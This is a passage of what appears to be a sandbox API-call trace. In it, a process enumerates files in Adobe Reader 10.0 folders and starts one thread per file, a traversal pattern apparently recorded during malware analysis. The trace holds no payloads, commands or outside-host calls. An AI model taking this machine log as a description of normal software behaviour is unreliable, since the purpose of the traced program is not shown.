Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\*", lpFindFileData=0x4b7990 | out: lpFindFileData=0x4b7990*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x820095e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x820095e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4409e0 [0058.851] wcscmp (_String1=".", _String2=".") returned 0 [0058.851] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x4b7990 | out: lpFindFileData=0x4b7990*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x820095e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x820095e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.851] wcscmp (_String1="..", _String2=".") returned 1 [0058.851] wcscmp (_String1="..", _String2="..") returned 0 [0058.851] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x4b7990 | out: lpFindFileData=0x4b7990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x101bc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.spi", cAlternateFileName="")) returned 1 [0058.851] wcscmp (_String1="DEXShare.spi", _String2=".") returned 1 [0058.851] wcscmp (_String1="DEXShare.spi", _String2="..") returned 1 [0058.851] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x97cd730 [0058.851] wcscpy (in: _Dest=0x97cd730, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services" [0058.851] wcscat (in: _Dest=0x97cd730, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\" [0058.851] wcscat (in: _Dest=0x97cd730, _Source="DEXShare.spi" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\DEXShare.spi") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\DEXShare.spi" [0063.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cd730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x111c [0063.878] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x4b7990 | out: lpFindFileData=0x4b7990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.cfg", cAlternateFileName="")) returned 1 [0063.878] wcscmp (_String1="Services.cfg", _String2=".") returned 1 [0063.878] wcscmp (_String1="Services.cfg", _String2="..") returned 1 [0063.878] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x97cc300 [0063.878] wcscpy (in: _Dest=0x97cc300, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services" [0063.878] wcscat (in: _Dest=0x97cc300, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\" [0063.878] wcscat (in: _Dest=0x97cc300, _Source="Services.cfg" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\Services.cfg") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\Services.cfg" [0063.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cc300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1240 [0063.879] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x4b7990 | out: lpFindFileData=0x4b7990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.cfg", cAlternateFileName="")) returned 0 [0063.879] FindClose (in: hFindFile=0x4409e0 | out: hFindFile=0x4409e0) returned 1 [0063.879] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b7990) returned 1 [0063.879] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45f138) returned 1 [0063.879] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45e0b8) returned 1 Thread: id = 582 os_tid = 0xa1c [0049.889] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x45f1b8 [0049.889] wcscpy (in: _Dest=0x45f1b8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins" [0049.889] wcscat (in: _Dest=0x45f1b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\" [0049.889] wcscat (in: _Dest=0x45f1b8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\*" [0049.889] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b7bf8 [0049.889] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\*", lpFindFileData=0x4b7bf8 | out: lpFindFileData=0x4b7bf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffc0b80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffc0b80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4407e0 [0058.185] wcscmp (_String1=".", _String2=".") returned 0 [0058.185] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x4b7bf8 | out: lpFindFileData=0x4b7bf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffc0b80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffc0b80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.185] wcscmp (_String1="..", _String2=".") returned 1 [0058.185] wcscmp (_String1="..", _String2="..") returned 0 [0058.185] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x4b7bf8 | out: lpFindFileData=0x4b7bf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x154e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADMPlugin.apl", cAlternateFileName="ADMPLU~1.APL")) returned 1 [0058.186] wcscmp (_String1="ADMPlugin.apl", _String2=".") returned 1 [0058.186] wcscmp (_String1="ADMPlugin.apl", _String2="..") returned 1 [0058.186] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x90) returned 0x97cd698 [0058.186] wcscpy (in: _Dest=0x97cd698, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins" [0058.186] wcscat (in: _Dest=0x97cd698, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\" [0058.186] wcscat (in: _Dest=0x97cd698, _Source="ADMPlugin.apl" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\ADMPlugin.apl") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\ADMPlugin.apl" Thread: id = 583 os_tid = 0xa28 [0049.889] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45f238 [0049.889] wcscpy (in: _Dest=0x45f238, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0049.889] wcscat (in: _Dest=0x45f238, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0049.890] wcscat (in: _Dest=0x45f238, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\*" [0049.890] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b7e60 [0049.890] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\*", lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801fc020, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8026e440, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440520 [0060.775] wcscmp (_String1=".", _String2=".") returned 0 [0060.775] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801fc020, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8026e440, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.294] wcscmp (_String1="..", _String2=".") returned 1 [0064.294] wcscmp (_String1="..", _String2="..") returned 0 [0064.294] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_reviewer.gif", cAlternateFileName="ADD_RE~1.GIF")) returned 1 [0064.294] wcscmp (_String1="add_reviewer.gif", _String2=".") returned 1 [0064.294] wcscmp (_String1="add_reviewer.gif", _String2="..") returned 1 [0064.294] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x92) returned 0x5ec5c28 [0064.294] wcscpy (in: _Dest=0x5ec5c28, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0064.294] wcscat (in: _Dest=0x5ec5c28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0064.294] wcscat (in: _Dest=0x5ec5c28, _Source="add_reviewer.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\add_reviewer.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\add_reviewer.gif" [0067.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec5c28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x578 [0067.039] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53, dwReserved0=0x0, dwReserved1=0x0, cFileName="bl.gif", cAlternateFileName="")) returned 1 [0067.039] wcscmp (_String1="bl.gif", _String2=".") returned 1 [0067.039] wcscmp (_String1="bl.gif", _String2="..") returned 1 [0067.039] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x198057b0 [0067.039] wcscpy (in: _Dest=0x198057b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0067.039] wcscat (in: _Dest=0x198057b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0067.039] wcscat (in: _Dest=0x198057b0, _Source="bl.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\bl.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\bl.gif" [0067.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x198057b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4 [0067.040] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x52, dwReserved0=0x0, dwReserved1=0x0, cFileName="br.gif", cAlternateFileName="")) returned 1 [0067.040] wcscmp (_String1="br.gif", _String2=".") returned 1 [0067.040] wcscmp (_String1="br.gif", _String2="..") returned 1 [0067.041] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x19805838 [0067.041] wcscpy (in: _Dest=0x19805838, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0067.041] wcscat (in: _Dest=0x19805838, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0067.041] wcscat (in: _Dest=0x19805838, _Source="br.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\br.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\br.gif" [0067.041] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x19805838, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x870 [0067.042] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="create_form.gif", cAlternateFileName="CREATE~1.GIF")) returned 1 [0067.042] wcscmp (_String1="create_form.gif", _String2=".") returned 1 [0067.042] wcscmp (_String1="create_form.gif", _String2="..") returned 1 [0067.042] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x90) returned 0x97ac558 [0067.042] wcscpy (in: _Dest=0x97ac558, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0067.042] wcscat (in: _Dest=0x97ac558, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0067.042] wcscat (in: _Dest=0x97ac558, _Source="create_form.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\create_form.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\create_form.gif" [0067.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ac558, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x87c [0067.043] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x335, dwReserved0=0x0, dwReserved1=0x0, cFileName="distribute_form.gif", cAlternateFileName="DISTRI~1.GIF")) returned 1 [0067.043] wcscmp (_String1="distribute_form.gif", _String2=".") returned 1 [0067.043] wcscmp (_String1="distribute_form.gif", _String2="..") returned 1 [0067.043] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x96e7778 [0067.043] wcscpy (in: _Dest=0x96e7778, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0067.043] wcscat (in: _Dest=0x96e7778, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0067.043] wcscat (in: _Dest=0x96e7778, _Source="distribute_form.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\distribute_form.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\distribute_form.gif" [0067.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96e7778, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b8 [0067.044] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="email_all.gif", cAlternateFileName="EMAIL_~2.GIF")) returned 1 [0067.045] wcscmp (_String1="email_all.gif", _String2=".") returned 1 [0067.045] wcscmp (_String1="email_all.gif", _String2="..") returned 1 [0067.045] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x97ac5f0 [0067.045] wcscpy (in: _Dest=0x97ac5f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0067.045] wcscat (in: _Dest=0x97ac5f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0067.045] wcscat (in: _Dest=0x97ac5f0, _Source="email_all.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_all.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_all.gif" [0067.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ac5f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f4 [0067.046] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x550, dwReserved0=0x0, dwReserved1=0x0, cFileName="email_initiator.gif", cAlternateFileName="EMAIL_~1.GIF")) returned 1 [0067.046] wcscmp (_String1="email_initiator.gif", _String2=".") returned 1 [0067.046] wcscmp (_String1="email_initiator.gif", _String2="..") returned 1 [0067.046] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x96e7818 [0067.046] wcscpy (in: _Dest=0x96e7818, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0067.046] wcscat (in: _Dest=0x96e7818, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0067.046] wcscat (in: _Dest=0x96e7818, _Source="email_initiator.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_initiator.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_initiator.gif" [0067.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96e7818, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e4 [0067.047] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="ended_review_or_form.gif", cAlternateFileName="ENDED_~1.GIF")) returned 1 [0067.047] wcscmp (_String1="ended_review_or_form.gif", _String2=".") returned 1 [0067.047] wcscmp (_String1="ended_review_or_form.gif", _String2="..") returned 1 [0067.047] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa2) returned 0x444670 [0067.047] wcscpy (in: _Dest=0x444670, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0067.047] wcscat (in: _Dest=0x444670, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0067.047] wcscat (in: _Dest=0x444670, _Source="ended_review_or_form.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ended_review_or_form.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ended_review_or_form.gif" [0067.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x444670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d4 [0067.049] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b7e60 | out: lpFindFileData=0x4b7e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="end_review.gif", cAlternateFileName="END_RE~1.GIF")) returned 1 [0067.049] wcscmp (_String1="end_review.gif", _String2=".") returned 1 [0067.049] wcscmp (_String1="end_review.gif", _String2="..") returned 1 [0067.049] 